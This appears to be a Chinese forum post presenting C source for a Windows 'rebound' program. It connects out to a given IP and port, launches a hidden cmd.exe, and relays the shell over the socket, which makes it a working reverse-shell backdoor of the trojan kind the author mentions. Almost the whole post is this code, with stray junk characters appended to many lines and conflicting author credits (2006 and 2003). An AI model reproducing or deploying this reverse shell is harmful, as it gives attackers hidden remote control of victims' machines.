这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <&1hJ)O
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/* ============================== J
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Rebound port in Windows NT cKwmtmwB
By wind,2006/7 nl-tJ.MU"
===============================*/ CfOhk
#include <HW2W"Go\
#include 8fWIZ
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#pragma comment(lib,"wsock32.lib") %yVP@M
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void OutputShell(); t<p4H^
SOCKET sClient; |' kC9H[>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DT]3q4__Q
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void main(int argc,char **argv) %LL?' &&
{ I'R|B\
WSADATA stWsaData; )4w3$Q
int nRet; 7c'OIY].,
SOCKADDR_IN stSaiClient,stSaiServer; SzjylUYV
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if(argc != 3) }f] ~{^
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printf("Useage:\n\rRebound DestIP DestPort\n"); %SMP)4Y/R
return; fdKTj
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} ot^$/(W
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WSAStartup(MAKEWORD(2,2),&stWsaData); <oTNo>U/k
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bXWodOSN
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stSaiClient.sin_family = AF_INET; =fK F#^E@
stSaiClient.sin_port = htons(0); u|ru$cIo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Eds{-x|10
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d6e]aO=g
{ LaIH3!M3
printf("Bind Socket Failed!\n"); 2s`~<EF N
return; n#5 pd;!n
} 7lQ:}&
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stSaiServer.sin_family = AF_INET; G"prq&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yuZhak
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AcY!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yuB\Z/
{ 8&y3oxA,
printf("Connect Error!"); ^ G>/;mZ
return; =/^{Pn
} EK^["_*A
OutputShell(); u6p
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} V34]5
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void OutputShell() v<S?"#
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{ +JBYGYN&K
char szBuff[1024]; n0@ \x=9
SECURITY_ATTRIBUTES stSecurityAttributes; + gP 4MP
OSVERSIONINFO stOsversionInfo; F='rGQK!1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }mQh^
STARTUPINFO stStartupInfo; q;qY#wD@
char *szShell; JiHk`e`
PROCESS_INFORMATION stProcessInformation; D5fhOq+g
unsigned long lBytesRead; 6%UhP;(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pS<j>y
cvv(OkC
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IqmQQ_KH
stSecurityAttributes.lpSecurityDescriptor = 0; y{uN+QS
stSecurityAttributes.bInheritHandle = TRUE; vEb_z[gd
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]g0\3A
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \bWo"Yo
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dI9u:-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dpcFS0
stStartupInfo.wShowWindow = SW_HIDE; 0RGSv!w
stStartupInfo.hStdInput = hReadPipe; f{u3RCfX~2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ejPK-jxCa/
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GetVersionEx(&stOsversionInfo); tcS7 @^'
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switch(stOsversionInfo.dwPlatformId) %'i`Chc^!;
{ &o*f*(C2
case 1: w 7 j
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szShell = "command.com"; >Sh"/3%q
break; 6):^m{RH^
default: q6
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szShell = "cmd.exe"; 0hx EI
break; 92K#xM/
} \A9hYTC)
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lip1wR7
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send(sClient,szMsg,77,0); f^[:w1X$sM
while(1) OQm-BL
{ FYu=e?L
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZAcW@xfb
if(lBytesRead) By-A1|4Cp`
{ J$Nc9?|ZZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1K'.QRZMb9
send(sClient,szBuff,lBytesRead,0); Oe*+pReSD
} 2OJ=Xb1
else Epf[8La
{ ^qlfdf
lBytesRead=recv(sClient,szBuff,1024,0); |LNAd:0
if(lBytesRead<=0) break; j?rq%rQd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~%o?J"y
} jI9Kn41
} B^u qu
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return; (VzabO
}